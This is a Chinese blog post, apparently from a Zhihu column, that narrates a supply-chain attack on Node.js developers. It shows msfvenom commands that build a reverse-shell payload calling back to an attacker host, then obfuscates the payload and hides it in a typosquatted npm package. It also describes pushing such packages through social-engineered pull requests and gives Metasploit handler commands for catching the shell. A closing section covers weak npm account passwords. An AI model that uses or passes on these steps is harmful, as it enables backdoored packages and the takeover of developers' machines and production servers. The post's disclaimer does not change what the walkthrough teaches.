本文首发于我的知乎专栏HackingSexy:zhuanlan.zhihu.com/p/43514079

TL,DR:

这篇文章讲述了从一个黑客的角度,以渗透前端项目为目标,从生成 payload,混淆,隐藏 payload,发布 npm,社会工程学提 PR,运行脚本,反向连接到攻击主机,最终主机拿到服务器 shell 的故事。

正片:

前端工程师的口头禅是啥?npm install!

这个命令从 npm 仓库中下载一堆从项目 package.json 中声明的依赖,下载完依赖后,再下载依赖中 package.json 声明的依赖,下载完依赖的依赖后,再下载依赖中 package.json 声明的依赖中的 package.json 声明的依赖,下载完依赖后…………

然后下了一堆你都不知道从哪里来的 npm 包。

前端工程师的另一个口头禅是什么?npm run dev!

嗯!界面显示 compile successful!很完美的一次编译!你觉得是时候展示真正的技术了!

此时,在网线的另一端,一个黑客微微一笑:又有一个肉鸡上线了。

这中间都发生了什么?

生成 Payload

经验丰富的金鱼佬都知道,要钓鱼,是肯定要先做鱼钩的。黑客也要钓鱼,鱼钩是啥?在黑客的世界里,有一个鱼钩店,叫做 msfvenom,专治各种款(架)式(构),各种型(语)号(言)的鱼(机器)。msfvenom 是 metasploit 的一部分,集成在了 Kali 系统里面。在 Kali 的官网,有现成的虚拟机镜像,下载了就能用。

在 Kali 的 Terminal 里输入:

msfvenom -l | grep node

可以列出所有支持 Node.js 的 payload。这相当于到店里问:老板!我要买鱼钩!要能钓 Node.js 的那种!老板:好嘞!要哪款?

在这里,我们选择 nodejs/shell_reverse_tcp,其实业界最常用的 payload 是 meterpreter,但是这款鱼钩还没上市:

如何生成我们的 payload 呢,输入:

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.199.165 LPORT=5432 -o index.js

这里说一下配置的参数:

  • -p nodejs/shell_reverse_tcp 指的是我们要用 nodejs/shell_reverse_tcp 这个 payload。
  • LHOST=192.168.199.165 指的是攻击主机的 IP 地址,由于这次攻击是内网演示,所以用了内网 IP。公网攻击的话,就要配个公网 IP。
  • LPORT=5432 攻击主机这边的监听端口,payload 运行后,被攻击方会尝试连接攻击主机的这个端口。
  • -o index.js 意思是输出到 index.js 这个文件中。

敲完命令之后,我们可以在当前目录拿到一个名为 index.js 的 payload,也就是我们刚买到的鱼钩。payload 很小很小,只有 803 字节。用

cat index.js

命令,可以看到 payload 长什么样。

这时候警觉的前端就会跳出来讲:胸底,你这代码里又调用 cmd 又调用 /bin/sh,还把攻击 IP 和端口都暴露出来了,傻子才会运行你的代码哦?

别急嘛,好戏才刚刚开始。

混淆

传统的杀毒软件,是通过检测文件特定字符来确定病毒特征的,而通过修改特征码绕过杀毒软件的检测,我们称之为免杀。

而 JavaScript 的变化,简直比海贼王里的路飞还要伸缩自如。

举个例子,一行简单的代码:

alert(1)

用 jsfuck 能把它变得连老妈都认不出来:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
复制代码

当然我们不用 jsfuck,因为混淆过后的代码太大了。

前端喜欢用 UglifyJS 来压缩代码,但在这场景下,也许不是最优解。我们用 JavaScript Obfuscator Tool。

复制 payload,打开 obfuscator.io/ ,粘贴,根据你的口味选择需要添加的混淆方法,点击 Obfuscate,一道菜就完成了。

现在已经没有人类能读懂这段代码了,混淆任务完成。

隐藏 payload

npm 是共产主义的大粮仓,任何人都可以贡献自己的代码到 npm 上去。但是如何让别人下载我们的代码呢?这是一门高深的学问。

常规的思路是,做一个和正常 npm 包名字很像的包名,譬如 koa-multer,可以做一个 koa_multer,然后总有一些人会打错字,下载到包含 payload 的包。这是一个概率问题,下载 koa-multer 的总量越大,下载 koa_multer 的量也越大。

以 koa-multer 为例,我们先把代码 clone 下载下来。

git clone github.com/koa-modules…

把我们生成的 payload 复制到项目路径下,并在 index.js 中引入这个文件。

把 package.json 和 README.md 里所有的 koa-multer 改成 koa_multer,并在 package.json 的 files 声明 payload 的文件名,我们就做好了一个带有 payload 的 npm 包。

拿到这个包,就可以发布到 npm 源了:

npm publish

为了演示,我在本地搭了一个 npm 服务器。

可以看到这个包和正确的 koa-multer 几乎一样。如果不深究源码,前端不会发现自己下载了一个错误的包。

接下来要做的事情是,等。就像钓鱼一样,需要耐心。

这时候警觉的前端工程师会跳出来说:你这包一看就知道是坑人的,我肯定不会蠢到安装这种包!

别急,还有其他方法。

另一个思路是,做一个通用的 npm 包,譬如能 log 出五彩斑斓颜色的包,然后去给其他的开源项目提 PR:

我帮你修复了问题 XXX,还加上了彩色 logger 的功能!

我们是在给开源社区做贡献呐!

当然,警觉的人会拒绝这个 PR。但这也没关系,提的 PR 多了,总会有人上钩的。

一个 npm 包被伪造不是问题,一个恶意的 PR 被不知名的项目 Approve 也不是问题。就像一个请求不能叫攻击,但是几百万的请求打过来的时候,你就知道 DDOS 有多可怕。

黑客完全可以把下载 npm 包,伪造代码并发布这段逻辑自动化。之后,就不仅仅是 koa_multer 的问题了,你需要提防 koa-multe,multer-koa,koa-multer-middleware 等等各种奇奇怪怪的 npm 包,还要区分"_"和"-"的区别,当然,也不仅仅是 koa-multer 这个包,其他所有的包都可以如法炮制。

就算再警觉,再小心,总有你注意不到的地方。就像刀剑不入的阿喀琉斯,也会有脚后跟中箭的一天。

另外,大多数 npm 包都是层级依赖关系,你能确保你的 package.json 中不可能声明有木马的包,但是你能确保你所依赖的包,这些包的作者,也和你一样警觉,不会大意?

黑客准备

黑客这边,需要准备好 handler。

输入:

msfconsole

进入metasploit的控制台。然后输入:

use exploit/multi/handler

使用 handler 模块。并在 handler 模块中设置 payload,攻击主机 IP,攻击主机端口,并启动监听:

set payload nodejs/shell_reverse_tcp set LHOST 192.168.199.165 set LPORT 5432 run

如图,反向TCP监听已经成功启动:

肉鸡上线

这时候,小白鼠跑了 koa_multer 里的 demo 代码!

黑客这边,马上能获得这个 shell 的会话:

在这里,黑客获得了启动该 Node.js 程序的用户权限,可以执行任何该用户允许执行的命令。譬如查看操作系统,查看 CPU 型号………

sw_vers # 查看操作系统
sysctl -n machdep.cpu.brand_string # 查看操作系统

如果这个程序部署到了生产环境服务器,那么黑客将能获得这个服务器的shell权限。

内网渗透,脱裤,种马,导流……拿到 shell 真的可以为所欲为。

Done?

还没完呢,精彩还在后头。

npm 账号的弱口令问题

在 2017 年 7 月份,有人对 npm 的账号做了一次弱口令检测,检测结果是:

有弱口令问题账号所发布的 npm 包,占据了整站的 14%。

由于 npm 包的存在形式相互依赖,由这 14% 的包引发的安全问题,影响到其他的包,占据了整站的 54%。

那就意味着,你每 npm install 两次,就会有一次安装到不安全的包。这不是危言耸听。大名鼎鼎 koa.js,发布的密码是 "password";react、gulp 等明星项目也不能幸免。下面列举一些其他受弱口令问题影响的 npm 包,相信总有你熟悉的名字:

  1. debug
  2. qs
  3. yargs
  4. request
  5. chalk
  6. form-data
  7. cheerio
  8. gulp
  9. browserify
  10. bower
  11. mongoose
  12. electron
  13. normalize.css
  14. mysql

npm 到现在都没发生过大规模的安全性问题,纯属是运气好。

所以,让我们祝愿 npm 永远幸运吧。

Note:本文旨在交流探讨,作者没有渗透过任何系统。如根据本文思想进行渗透,读者须自行承担风险和责任。作者不承担任何责任。

参考文档:

  1. hackernoon.com/im-harvesti…
  2. github.com/ChALkeR/not…

我是这样黑进你Node.js生产服务器的相关推荐

  1. Node.js(一)——(Node.js安装及使用,通过Node.js搭建服务器,模块化及自定义模块,npm/yarn/nvm,内置模块fs的使用,buffer及stream,新闻列表案例)

    目录 1.Node.js介绍 2.安装Node.js 3.使用Node.js实现第一个服务器 3.1初步感受Node.js 3.2Google Chrome 默认非安全端口列表,尽量避免以下端口. 3 ...

  2. 【Node】node.js实现服务器的反向代理,解决跨域问题

    跨域对于前端来说是一个老大难的问题,许多方法如jsonp.document.domain + iframe...都有或多或少的问题,一个最佳实践就是通过服务器nginx做反向代理,但奈何不懂相关知识, ...

  3. node.js 创建服务器_Node.js HTTP软件包–创建HTTP服务器

    node.js 创建服务器 An HTTP server caters to client requests and sends appropriate response. For example, ...

  4. Node.js web服务器文件读取

    当采用Node.js搭建服务器需要响应浏览器发送的资源请求,服务端应该如何进行磁盘管理操作 由于文件我们预先是不是知道的 var http=require('http') http.createSer ...

  5. 利用node.js搭建服务器并访问静态网页

    1.安装node环境 官方下载地址:链接 查看是否安装成功,快捷键win+R弹出cmd命令行: 2.创建项目结构 先创建一个文件夹server,文件夹下创建一个js文件,然后在server目录下再创建 ...

  6. 深入浅出Node.js游戏服务器开发--分布式聊天服务器搭建

    From: http://www.infoq.com/cn/articles/game-server-development-2?utm_source=infoq&utm_medium=rel ...

  7. 83998 连接服务器出错_新生福利 | 使用 Node.Js 开发服务器

    点击蓝字关注,创智助你长姿势 Node.js 是一个 Javascript 运行环境 (runtime),发布于 2009 年 5 月,由 Ryan Dahl 开发.实际上它是对 Google V8 ...

  8. linux安装socket.io,ubuntu – 如何在node.js npm服务器上查看socket.io版本

    我想确认一下,如果我升级到socket.io 0.7,我的当前应用程序是否无法在此服务器上运行?如果我升级 为此我想看看我当前的socket.io版本,我怎么能看到它? 而另一方面我想去稳定版本的节点 ...

  9. element-ui + vue + node.js 与 服务器 Python 应用的跨域问题

    跨越问题解决的两种办法: 1. 在 config => index.js 中配置 proxyTable 代理: proxyTable: {'/charts': {target: 'http:// ...

最新文章

  1. java form表单传参_表单Form传参数
  2. 树莓派4B设置静态IP
  3. ORA-10997:another startup/shutdown operation of this instance in progress解决方法
  4. skype for business server2015部署向导启动服务失败
  5. in ms sql 集合参数传递_神奇的 SQL → 为什么 GROUP BY 之后不能直接引用原表中的列?...
  6. java基础面试题之:switch的参数类型
  7. 软件工作相关考试001---PMP等各种考试
  8. 在Docker上搭建ELK+Filebeat日志中心
  9. JS学习之Object
  10. 内核各个版本下载地址
  11. JavaScript教程---洪恩在线
  12. JS中的迭代器和生成器
  13. 适合糖友增强饱腹感的一些主食
  14. UICollectionViewCell复用时修改子页面属性出现混乱的解决方法
  15. Python程序设计入门32道基础编程题目与参考代码
  16. 虚幻4渲染编程(环境模拟篇)【第三卷:体积云天空模拟(3)---高层云】
  17. GUID MBR新一代分区表 DiskGenius
  18. java setAttribute的使用
  19. 万象网管重启计算机,万象网管客户端改了密码没用?重启就不对了?
  20. 时间序列数据机器学习(ICML 2022)

热门文章

  1. OSChina 周一乱弹 —— 可惜不是富二代
  2. 从零开始构建PHP版mud游戏(三)
  3. 密码学中常用的人物角色名称--Alice, Bob,etc
  4. 《Python实例》震惊了,用Python这么简单实现了聊天系统的脏话,广告检测
  5. Embedded Linux 技术与概念解析
  6. 没想到,看《复联4》也能理解Spring Cloud
  7. 【C++】深蓝学院课程:C++基础与深度解析 - 课程知识点目录
  8. 影视视频剪辑号真的可以赚钱?
  9. 学术交流 java,CCAI 同期活动 | CAAI青年学术交流专场·AI研究启航指南
  10. 面向对象之SOLID